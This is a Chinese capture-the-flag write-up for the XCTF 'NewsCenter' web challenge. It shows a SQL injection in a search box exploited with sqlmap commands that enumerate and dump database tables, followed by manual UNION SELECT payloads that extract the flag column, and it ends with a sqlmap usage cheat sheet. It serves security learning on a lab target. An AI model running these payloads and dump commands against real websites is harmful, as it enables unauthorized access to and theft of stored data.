攻防世界 web进阶区 NewsCenter
解题
首先我们打开网页,发现题目中只有一个搜索框,然后通过查看源代码等方式都无法获得任何有用的信息。所以题目肯定是从这个搜索框入手的,那么就首先抓包试试。
抓到这样一些数据,但是经过尝试也没有什么办法获取信息,只发现了搜索使用的是post请求。最后想到了一般这样的搜索框可能会存在sql注入,所以及逆行尝试。但是由于手注的技术实在是太差了,就先用sqlmap来进行注入试试。
首先新建一个文件,将我们刚刚抓到的包中的内容存入。然后使用sqlmap进行扫描sqlmap -r 1.txt --dbs //列举存在的所有数据库
扫描出了2个数据库,一个是mysql自带的,另一个是News,正好和题目相符,所以flag肯定就存在于这个数据库当中了。
然后发现了2个表,我们一个一个来看。sqlmap -r 1.txt --tables -D news //来查询news数据库中存在的表
sqlmap -r 1.txt --conlumns -T news -D news //查询news数据库中的news表中的列
发现并没有我们想要的信息,然后就查询下一个表sqlmap -r 1.txt --conlumns -T secret_table -D news //查询news数据库中的secret_table表中的列
发现了flag,但是此时我们还不知道flag的内容是什么,所以要接着查询sqlmap -r 1.txt --dump -C fl4g -T secret_table -D news //查询数据库news中secret_table表中的fl4g字段中的内容。
得到了我们的flag。
这是使用脚本注入的方法,但是由于我是个菜鸡,所以说还是需要去学习一下手注的方法的。
首先需要找出回显,使用sd' union select 1,2 #和sd' union select 1,2,3 #
来尝试,发现只有sd' union select 1,2,3 #可以显示回显。
发现回显的为2和3,这就说明我们可以在位置2和位置3来写注入语句。然后使用sd' union select 1,2,table_name from information_schema.tables #
来查询mysql自带表中的所有信息。
并且在最后发现了我们刚刚用sqlmap爆破出来的2个表。我们已经知道答案在secret_table中了,所以也就不多做尝试了,直接对sercet_table表中的信息进行查找。sd' union select 1,2,column_name from information_schema.columns where table_name='secret_table' #
得到了我们的fl4g,然后查看这个fl4g即可sd' union select 1,2,fl4g from secret_table #
得到了flag
知识点
sqlmap的基本使用sqlmap -u "注入地址" --dbs // 列举数据库sqlmap -u "注入地址"
--tables -D "数据库" // 列举数据库的表名
sqlmap -u "注入地址" --columns -T "表名" -D "数据库" // 获取表的列名
sqlmap -u "注入地址" --dump -C "字段,字段" -T "表名" -D "数据库" // 获取表中的所有数据
sqlmap -r "含http头的文件" --dbs // 列举数据库
sqlmap -r "含http头的文件" --tables -D "数据库" // 列举数据库的表名
sqlmap -r "含http头的文件" --columns -T "表名" -D "数据库" // 获取表的列名
sqlmap -r "含http头的文件" --dump -C "字段,字段" -T "表名" -D "数据库" // 获取表中的所有数据
information_schema数据库
在mysql中是把information_schema当作一个数据库的,其中存放这关于mysql服务器维护的所有其他数据库的信息。如数据库名,数据库的表、表栏的数据类型于访问权限等,但是由于其实际上是视图,不是基本表,所以看不到关于它的任何文件。